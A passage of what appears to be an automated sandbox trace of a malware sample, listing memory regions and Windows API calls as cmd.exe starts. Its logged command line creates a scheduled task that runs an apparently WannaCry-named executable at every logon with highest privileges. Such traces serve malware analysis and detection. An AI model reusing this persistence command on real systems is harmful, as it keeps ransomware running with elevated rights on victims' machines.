0xc2cea61fff entry_point = 0x0 region_type = private name = "private_0x000000c2cea60000" filename = "" Region: id = 218 start_va = 0x7ff622840000 end_va = 0x7ff622862fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff622840000" filename = "" Region: id = 219 start_va = 0x7ff62286d000 end_va = 0x7ff62286dfff entry_point = 0x0 region_type = private name = "private_0x00007ff62286d000" filename = "" Region: id = 220 start_va = 0x7ff62286e000 end_va = 0x7ff62286ffff entry_point = 0x0 region_type = private name = "private_0x00007ff62286e000" filename = "" Region: id = 221 start_va = 0x7ff623140000 end_va = 0x7ff62319afff entry_point = 0x7ff623140000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 222 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 227 start_va = 0xc2ceb60000 end_va = 0xc2cec5ffff entry_point = 0x0 region_type = private name = "private_0x000000c2ceb60000" filename = "" Region: id = 228 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 229 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 289 start_va = 0xc2ce910000 end_va = 0xc2ce91ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c2ce910000" filename = "" Region: id = 290 start_va = 0xc2ce920000 end_va = 0xc2ce926fff entry_point = 0x0 region_type = private name = "private_0x000000c2ce920000" filename = "" Region: id = 291 start_va = 0xc2cea70000 end_va = 0xc2ceaedfff entry_point = 0xc2cea70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 292 start_va = 0xc2ced00000 end_va = 0xc2ced0ffff entry_point = 0x0 region_type = private name = "private_0x000000c2ced00000" filename = "" Region: id = 293 start_va = 0x7ff622740000 end_va = 0x7ff62283ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff622740000" filename = "" Region: id = 294 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Thread: id = 2 os_tid = 0xb94 [0019.896] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff623140000 [0019.896] __set_app_type (_Type=0x1) [0019.896] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff62315ace0) returned 0x0 [0019.896] __getmainargs (in: _Argc=0x7ff62317e724, _Argv=0x7ff62317e728, _Env=0x7ff62317e730, _DoWildCard=0, _StartInfo=0x7ff62316d0c4 | out: _Argc=0x7ff62317e724, _Argv=0x7ff62317e728, _Env=0x7ff62317e730) returned 0 [0019.897] GetCurrentThreadId () returned 0xb94 [0019.897] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb94) returned 0x28 [0019.897] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffe2a640000 [0019.897] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadUILanguage") returned 0x7ffe2a6431d8 [0019.897] SetThreadUILanguage (LangId=0x0) returned 0x409 [0019.899] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0019.899] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xc2cea3fe18 | out: phkResult=0xc2cea3fe18*=0x0) returned 0x2 [0019.899] VirtualQuery (in: lpAddress=0xc2cea3fe04, lpBuffer=0xc2cea3fd80, dwLength=0x30 | out: lpBuffer=0xc2cea3fd80*(BaseAddress=0xc2cea3f000, AllocationBase=0xc2ce940000, AllocationProtect=0x4, __alignment1=0xc2, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0019.899] VirtualQuery (in: lpAddress=0xc2ce940000, lpBuffer=0xc2cea3fd80, dwLength=0x30 | out: lpBuffer=0xc2cea3fd80*(BaseAddress=0xc2ce940000, AllocationBase=0xc2ce940000, AllocationProtect=0x4, __alignment1=0xc2, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0019.899] VirtualQuery (in: lpAddress=0xc2ce941000, lpBuffer=0xc2cea3fd80, dwLength=0x30 | out: lpBuffer=0xc2cea3fd80*(BaseAddress=0xc2ce941000, AllocationBase=0xc2ce940000, AllocationProtect=0x4, __alignment1=0xc2, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0019.899] VirtualQuery (in: lpAddress=0xc2ce944000, lpBuffer=0xc2cea3fd80, dwLength=0x30 | out: lpBuffer=0xc2cea3fd80*(BaseAddress=0xc2ce944000, AllocationBase=0xc2ce940000, AllocationProtect=0x4, __alignment1=0xc2, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0019.899] VirtualQuery (in: lpAddress=0xc2cea40000, lpBuffer=0xc2cea3fd80, dwLength=0x30 | out: lpBuffer=0xc2cea3fd80*(BaseAddress=0xc2cea40000, AllocationBase=0xc2cea40000, AllocationProtect=0x2, __alignment1=0xc2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0019.899] GetConsoleOutputCP () returned 0x1b5 [0019.900] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff62317a120 | out: lpCPInfo=0x7ff62317a120) returned 1 [0019.901] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6231662a4, Add=1) returned 1 [0019.901] _get_osfhandle (_FileHandle=1) returned 0x1c [0019.901] SetConsoleMode (hConsoleHandle=0x1c, dwMode=0x0) returned 1 [0019.901] _get_osfhandle (_FileHandle=1) returned 0x1c [0019.901] GetConsoleMode (in: hConsoleHandle=0x1c, lpMode=0x7ff62316d150 | out: lpMode=0x7ff62316d150) returned 1 [0019.902] _get_osfhandle (_FileHandle=1) returned 0x1c [0019.902] SetConsoleMode (hConsoleHandle=0x1c, dwMode=0x3) returned 1 [0019.902] _get_osfhandle (_FileHandle=0) returned 0x18 [0019.902] GetConsoleMode (in: hConsoleHandle=0x18, lpMode=0x7ff62316d14c | out: lpMode=0x7ff62316d14c) returned 1 [0019.903] _get_osfhandle (_FileHandle=0) returned 0x18 [0019.903] SetConsoleMode (hConsoleHandle=0x18, dwMode=0x1a7) returned 1 [0019.904] GetEnvironmentStringsW () returned 0xc2ceb64930* [0019.904] FreeEnvironmentStringsA (penv="A") returned 1 [0019.904] GetEnvironmentStringsW () returned 0xc2ceb64930* [0019.905] FreeEnvironmentStringsA (penv="A") returned 1 [0019.905] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xc2cea3ecc8 | out: phkResult=0xc2cea3ecc8*=0x34) returned 0x0 [0019.905] RegQueryValueExW (in: hKey=0x34, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xc2cea3ecc0, lpData=0xc2cea3ece0, lpcbData=0xc2cea3ecc4*=0x1000 | out: lpType=0xc2cea3ecc0*=0x0, lpData=0xc2cea3ece0*=0x0, lpcbData=0xc2cea3ecc4*=0x1000) returned 0x2 [0019.905] RegQueryValueExW (in: hKey=0x34, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xc2cea3ecc0, lpData=0xc2cea3ece0, lpcbData=0xc2cea3ecc4*=0x1000 | out: lpType=0xc2cea3ecc0*=0x4, lpData=0xc2cea3ece0*=0x1, lpcbData=0xc2cea3ecc4*=0x4) returned 0x0 [0019.905] RegQueryValueExW (in: hKey=0x34, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xc2cea3ecc0, lpData=0xc2cea3ece0, lpcbData=0xc2cea3ecc4*=0x1000 | out: lpType=0xc2cea3ecc0*=0x0, lpData=0xc2cea3ece0*=0x1, lpcbData=0xc2cea3ecc4*=0x1000) returned 0x2 [0019.905] RegQueryValueExW (in: hKey=0x34, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xc2cea3ecc0, lpData=0xc2cea3ece0, lpcbData=0xc2cea3ecc4*=0x1000 | out: lpType=0xc2cea3ecc0*=0x4, lpData=0xc2cea3ece0*=0x0, lpcbData=0xc2cea3ecc4*=0x4) returned 0x0 [0019.905] RegQueryValueExW (in: hKey=0x34, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xc2cea3ecc0, lpData=0xc2cea3ece0, lpcbData=0xc2cea3ecc4*=0x1000 | out: lpType=0xc2cea3ecc0*=0x4, lpData=0xc2cea3ece0*=0x40, lpcbData=0xc2cea3ecc4*=0x4) returned 0x0 [0019.905] RegQueryValueExW (in: hKey=0x34, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xc2cea3ecc0, lpData=0xc2cea3ece0, lpcbData=0xc2cea3ecc4*=0x1000 | out: lpType=0xc2cea3ecc0*=0x4, lpData=0xc2cea3ece0*=0x40, lpcbData=0xc2cea3ecc4*=0x4) returned 0x0 [0019.905] RegQueryValueExW (in: hKey=0x34, lpValueName="AutoRun", lpReserved=0x0, lpType=0xc2cea3ecc0, lpData=0xc2cea3ece0, lpcbData=0xc2cea3ecc4*=0x1000 | out: lpType=0xc2cea3ecc0*=0x0, lpData=0xc2cea3ece0*=0x40, lpcbData=0xc2cea3ecc4*=0x1000) returned 0x2 [0019.905] RegCloseKey (hKey=0x34) returned 0x0 [0019.905] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xc2cea3ecc8 | out: phkResult=0xc2cea3ecc8*=0x34) returned 0x0 [0019.905] RegQueryValueExW (in: hKey=0x34, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xc2cea3ecc0, lpData=0xc2cea3ece0, lpcbData=0xc2cea3ecc4*=0x1000 | out: lpType=0xc2cea3ecc0*=0x0, lpData=0xc2cea3ece0*=0x40, lpcbData=0xc2cea3ecc4*=0x1000) returned 0x2 [0019.905] RegQueryValueExW (in: hKey=0x34, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xc2cea3ecc0, lpData=0xc2cea3ece0, lpcbData=0xc2cea3ecc4*=0x1000 | out: lpType=0xc2cea3ecc0*=0x4, lpData=0xc2cea3ece0*=0x1, lpcbData=0xc2cea3ecc4*=0x4) returned 0x0 [0019.905] RegQueryValueExW (in: hKey=0x34, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xc2cea3ecc0, lpData=0xc2cea3ece0, lpcbData=0xc2cea3ecc4*=0x1000 | out: lpType=0xc2cea3ecc0*=0x0, lpData=0xc2cea3ece0*=0x1, lpcbData=0xc2cea3ecc4*=0x1000) returned 0x2 [0019.905] RegQueryValueExW (in: hKey=0x34, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xc2cea3ecc0, lpData=0xc2cea3ece0, lpcbData=0xc2cea3ecc4*=0x1000 | out: lpType=0xc2cea3ecc0*=0x4, lpData=0xc2cea3ece0*=0x0, lpcbData=0xc2cea3ecc4*=0x4) returned 0x0 [0019.905] RegQueryValueExW (in: hKey=0x34, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xc2cea3ecc0, lpData=0xc2cea3ece0, lpcbData=0xc2cea3ecc4*=0x1000 | out: lpType=0xc2cea3ecc0*=0x4, lpData=0xc2cea3ece0*=0x9, lpcbData=0xc2cea3ecc4*=0x4) returned 0x0 [0019.905] RegQueryValueExW (in: hKey=0x34, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xc2cea3ecc0, lpData=0xc2cea3ece0, lpcbData=0xc2cea3ecc4*=0x1000 | out: lpType=0xc2cea3ecc0*=0x4, lpData=0xc2cea3ece0*=0x9, lpcbData=0xc2cea3ecc4*=0x4) returned 0x0 [0019.905] RegQueryValueExW (in: hKey=0x34, lpValueName="AutoRun", lpReserved=0x0, lpType=0xc2cea3ecc0, lpData=0xc2cea3ece0, lpcbData=0xc2cea3ecc4*=0x1000 | out: lpType=0xc2cea3ecc0*=0x0, lpData=0xc2cea3ece0*=0x9, lpcbData=0xc2cea3ecc4*=0x1000) returned 0x2 [0019.905] RegCloseKey (hKey=0x34) returned 0x0 [0019.905] time (in: timer=0x0 | out: timer=0x0) returned 0x5989d257 [0019.905] srand (_Seed=0x5989d257) [0019.905] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c schtasks /create /sc onlogon /tn 3123635631 /rl highest /tr C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" [0019.905] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c schtasks /create /sc onlogon /tn 3123635631 /rl highest /tr C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" [0019.906] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x7ff62317a160 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0019.906] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc2ceb64970, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0019.906] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0019.906] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0019.906] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.906] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0019.906] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0019.906] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0019.906] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0019.906] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0019.906] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0019.906] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0019.906] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0019.906] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0019.906] GetEnvironmentStringsW () returned 0xc2ceb64b80* [0019.906] FreeEnvironmentStringsA (penv="A") returned 1 [0019.906] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0019.906] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.907] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0019.907] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0019.907] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0019.907] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0019.907] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0019.907] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0019.907] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0019.907] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0019.907] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0xc2cea3fad0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0019.907] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop", nBufferLength=0x104, lpBuffer=0xc2cea3fad0, lpFilePart=0xc2cea3fab0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop", lpFilePart=0xc2cea3fab0*="Desktop") returned 0x1c [0019.907] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0019.907] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xc2cea3f7e0 | out: lpFindFileData=0xc2cea3f7e0) returned 0xc2ceb679f0 [0019.907] FindClose (in: hFindFile=0xc2ceb679f0 | out: hFindFile=0xc2ceb679f0) returned 1 [0019.907] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp", lpFindFileData=0xc2cea3f7e0 | out: lpFindFileData=0xc2cea3f7e0) returned 0xc2ceb679f0 [0019.907] FindClose (in: hFindFile=0xc2ceb679f0 | out: hFindFile=0xc2ceb679f0) returned 1 [0019.907] _wcsnicmp (_String1="5JGHKO~1", _String2="5JgHKoaOfdp", _MaxCount=0xb) returned 29 [0019.907] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop", lpFindFileData=0xc2cea3f7e0 | out: lpFindFileData=0xc2cea3f7e0) returned 0xc2ceb679f0 [0019.907] FindClose (in: hFindFile=0xc2ceb679f0 | out: hFindFile=0xc2ceb679f0) returned 1 [0019.907] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0019.907] SetCurrentDirectoryW (lpPathName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 1 [0019.907] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 1 [0019.907] GetEnvironmentStringsW () returned 0xc2ceb66610* [0019.908] FreeEnvironmentStringsA (penv="=") returned 1 [0019.908] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x7ff62317a160 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0019.908] GetConsoleOutputCP () returned 0x1b5 [0019.909] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff62317a120 | out: lpCPInfo=0x7ff62317a120) returned 1 [0019.909] GetUserDefaultLCID () returned 0x409 [0019.909] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff62317e680, cchData=8 | out: lpLCData=":") returned 2 [0019.909] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xc2cea3fc00, cchData=128 | out: lpLCData="0") returned 2 [0019.909] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xc2cea3fc00, cchData=128 | out: lpLCData="0") returned 2 [0019.909] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xc2cea3fc00, cchData=128 | out: lpLCData="1") returned 2 [0019.909] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff62317e8b0, cchData=8 | out: lpLCData="/") returned 2 [0019.909] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff62317e8e0, cchData=32 | out: lpLCData="Mon") returned 4 [0019.909] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff62317e920, cchData=32 | out: lpLCData="Tue") returned 4 [0019.909] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff62317e960, cchData=32 | out: lpLCData="Wed") returned 4 [0019.909] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff62317e6a0, cchData=32 | out: lpLCData="Thu") returned 4 [0019.909] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff62317e6e0, cchData=32 | out: lpLCData="Fri") returned 4 [0019.909] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff62317e9a0, cchData=32 | out: lpLCData="Sat") returned 4 [0019.909] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff62317e9e0, cchData=32 | out: lpLCData="Sun") returned 4 [0019.909] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff62317e690, cchData=8 | out: lpLCData=".") returned 2 [0019.909] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff62317e8c0, cchData=8 | out: lpLCData=",") returned 2 [0019.909] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0019.910] GetConsoleTitleW (in: lpConsoleTitle=0xc2ceb656d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0019.910] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffe2a640000 [0019.910] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CopyFileExW") returned 0x7ffe2a65e954 [0019.910] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="IsDebuggerPresent") returned 0x7ffe2a6434dc [0019.910] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffe2a0836f8 [0019.911] _wcsicmp (_String1="schtasks", _String2=")") returned 74 [0019.911] _wcsicmp (_String1="FOR", _String2="schtasks") returned -13 [0019.911] _wcsicmp (_String1="FOR/?", _String2="schtasks") returned -13 [0019.911] _wcsicmp (_String1="IF", _String2="schtasks") returned -10 [0019.911] _wcsicmp (_String1="IF/?", _String2="schtasks") returned -10 [0019.911] _wcsicmp (_String1="REM", _String2="schtasks") returned -1 [0019.911] _wcsicmp (_String1="REM/?", _String2="schtasks") returned -1 [0019.913] GetConsoleTitleW (in: lpConsoleTitle=0xc2cea3faf0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0019.913] _wcsicmp (_String1="schtasks", _String2="DIR") returned 15 [0019.913] _wcsicmp (_String1="schtasks", _String2="ERASE") returned 14 [0019.913] _wcsicmp (_String1="schtasks", _String2="DEL") returned 15 [0019.913] _wcsicmp (_String1="schtasks", _String2="TYPE") returned -1 [0019.913] _wcsicmp (_String1="schtasks", _String2="COPY") returned 16 [0019.913] _wcsicmp (_String1="schtasks", _String2="CD") returned 16 [0019.913] _wcsicmp (_String1="schtasks", _String2="CHDIR") returned 16 [0019.913] _wcsicmp (_String1="schtasks", _String2="RENAME") returned 1 [0019.913] _wcsicmp (_String1="schtasks", _String2="REN") returned 1 [0019.913] _wcsicmp (_String1="schtasks", _String2="ECHO") returned 14 [0019.913] _wcsicmp (_String1="schtasks", _String2="SET") returned -2 [0019.913] _wcsicmp (_String1="schtasks", _String2="PAUSE") returned 3 [0019.913] _wcsicmp (_String1="schtasks", _String2="DATE") returned 15 [0019.913] _wcsicmp (_String1="schtasks", _String2="TIME") returned -1 [0019.913] _wcsicmp (_String1="schtasks", _String2="PROMPT") returned 3 [0019.913] _wcsicmp (_String1="schtasks", _String2="MD") returned 6 [0019.913] _wcsicmp (_String1="schtasks", _String2="MKDIR") returned 6 [0019.914] _wcsicmp (_String1="schtasks", _String2="RD") returned 1 [0019.914] _wcsicmp (_String1="schtasks", _String2="RMDIR") returned 1 [0019.914] _wcsicmp (_String1="schtasks", _String2="PATH") returned 3 [0019.914] _wcsicmp (_String1="schtasks", _String2="GOTO") returned 12 [0019.914] _wcsicmp (_String1="schtasks", _String2="SHIFT") returned -5 [0019.914] _wcsicmp (_String1="schtasks", _String2="CLS") returned 16 [0019.914] _wcsicmp (_String1="schtasks", _String2="CALL") returned 16 [0019.914] _wcsicmp (_String1="schtasks", _String2="VERIFY") returned -3 [0019.914] _wcsicmp (_String1="schtasks", _String2="VER") returned -3 [0019.914] _wcsicmp (_String1="schtasks", _String2="VOL") returned -3 [0019.914] _wcsicmp (_String1="schtasks", _String2="EXIT") returned 14 [0019.914] _wcsicmp (_String1="schtasks", _String2="SETLOCAL") returned -2 [0019.914] _wcsicmp (_String1="schtasks", _String2="ENDLOCAL") returned 14 [0019.914] _wcsicmp (_String1="schtasks", _String2="TITLE") returned -1 [0019.914] _wcsicmp (_String1="schtasks", _String2="START") returned -17 [0019.914] _wcsicmp (_String1="schtasks", _String2="DPATH") returned 15 [0019.914] _wcsicmp (_String1="schtasks", _String2="KEYS") returned 8 [0019.914] _wcsicmp (_String1="schtasks", _String2="MOVE") returned 6 [0019.914] _wcsicmp (_String1="schtasks", _String2="PUSHD") returned 3 [0019.914] _wcsicmp (_String1="schtasks", _String2="POPD") returned 3 [0019.914] _wcsicmp (_String1="schtasks", _String2="ASSOC") returned 18 [0019.914] _wcsicmp (_String1="schtasks", _String2="FTYPE") returned 13 [0019.914] _wcsicmp (_String1="schtasks", _String2="BREAK") returned 17 [0019.914] _wcsicmp (_String1="schtasks", _String2="COLOR") returned 16 [0019.914] _wcsicmp (_String1="schtasks", _String2="MKLINK") returned 6 [0019.914] _wcsicmp (_String1="schtasks", _String2="DIR") returned 15 [0019.914] _wcsicmp (_String1="schtasks", _String2="ERASE") returned 14 [0019.914] _wcsicmp (_String1="schtasks", _String2="DEL") returned 15 [0019.914] _wcsicmp (_String1="schtasks", _String2="TYPE") returned -1 [0019.914] _wcsicmp (_String1="schtasks", _String2="COPY") returned 16 [0019.914] _wcsicmp (_String1="schtasks", _String2="CD") returned 16 [0019.914] _wcsicmp (_String1="schtasks", _String2="CHDIR") returned 16 [0019.914] _wcsicmp (_String1="schtasks", _String2="RENAME") returned 1 [0019.914] _wcsicmp (_String1="schtasks", _String2="REN") returned 1 [0019.914] _wcsicmp (_String1="schtasks", _String2="ECHO") returned 14 [0019.914] _wcsicmp (_String1="schtasks", _String2="SET") returned -2 [0019.914] _wcsicmp (_String1="schtasks", _String2="PAUSE") returned 3 [0019.914] _wcsicmp (_String1="schtasks", _String2="DATE") returned 15 [0019.914] _wcsicmp (_String1="schtasks", _String2="TIME") returned -1 [0019.914] _wcsicmp (_String1="schtasks", _String2="PROMPT") returned 3 [0019.914] _wcsicmp (_String1="schtasks", _String2="MD") returned 6 [0019.914] _wcsicmp (_String1="schtasks", _String2="MKDIR") returned 6 [0019.914] _wcsicmp (_String1="schtasks", _String2="RD") returned 1 [0019.914] _wcsicmp (_String1="schtasks", _String2="RMDIR") returned 1 [0019.914] _wcsicmp (_String1="schtasks", _String2="PATH") returned 3 [0019.914] _wcsicmp (_String1="schtasks", _String2="GOTO") returned 12 [0019.914] _wcsicmp (_String1="schtasks", _String2="SHIFT") returned -5 [0019.914] _wcsicmp (_String1="schtasks", _String2="CLS") returned 16 [0019.914] _wcsicmp (_String1="schtasks", _String2="CALL") returned 16 [0019.914] _wcsicmp (_String1="schtasks", _String2="VERIFY") returned -3 [0019.914] _wcsicmp (_String1="schtasks", _String2="VER") returned -3 [0019.914] _wcsicmp (_String1="schtasks", _String2="VOL") returned -3 [0019.914] _wcsicmp (_String1="schtasks", _String2="EXIT") returned 14 [0019.915] _wcsicmp (_String1="schtasks", _String2="SETLOCAL") returned -2 [0019.915] _wcsicmp (_String1="schtasks", _String2="ENDLOCAL") returned 14 [0019.915] _wcsicmp (_String1="schtasks", _String2="TITLE") returned -1 [0019.915] _wcsicmp (_String1="schtasks", _String2="START") returned -17 [0019.915] _wcsicmp (_String1="schtasks", _String2="DPATH") returned 15 [0019.915] _wcsicmp (_String1="schtasks", _String2="KEYS") returned 8 [0019.915] _wcsicmp (_String1="schtasks", _String2="MOVE") returned 6 [0019.915] _wcsicmp (_String1="schtasks", _String2="PUSHD") returned 3 [0019.915] _wcsicmp (_String1="schtasks", _String2="POPD") returned 3 [0019.915] _wcsicmp (_String1="schtasks", _String2="ASSOC") returned 18 [0019.915] _wcsicmp (_String1="schtasks", _String2="FTYPE") returned 13 [0019.915] _wcsicmp (_String1="schtasks", _String2="BREAK") returned 17 [0019.915] _wcsicmp (_String1="schtasks", _String2="COLOR") returned 16 [0019.915] _wcsicmp (_String1="schtasks", _String2="MKLINK") returned 6 [0019.915] _wcsicmp (_String1="schtasks", _String2="FOR") returned 13 [0019.915] _wcsicmp (_String1="schtasks", _String2="IF") returned 10 [0019.915] _wcsicmp (_String1="schtasks", _String2="REM") returned 1 [0019.915] _wcsnicmp (_String1="scht", _String2="cmd ", _MaxCount=0x4) returned 16 [0019.915] SetErrorMode (uMode=0x0) returned 0x0 [0019.915] SetErrorMode (uMode=0x1) returned 0x0 [0019.915] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0xc2ceb60a90, lpFilePart=0xc2cea3f390 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop", lpFilePart=0xc2cea3f390*="Desktop") returned 0x1c [0019.915] SetErrorMode (uMode=0x0) returned 0x1 [0019.915] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: 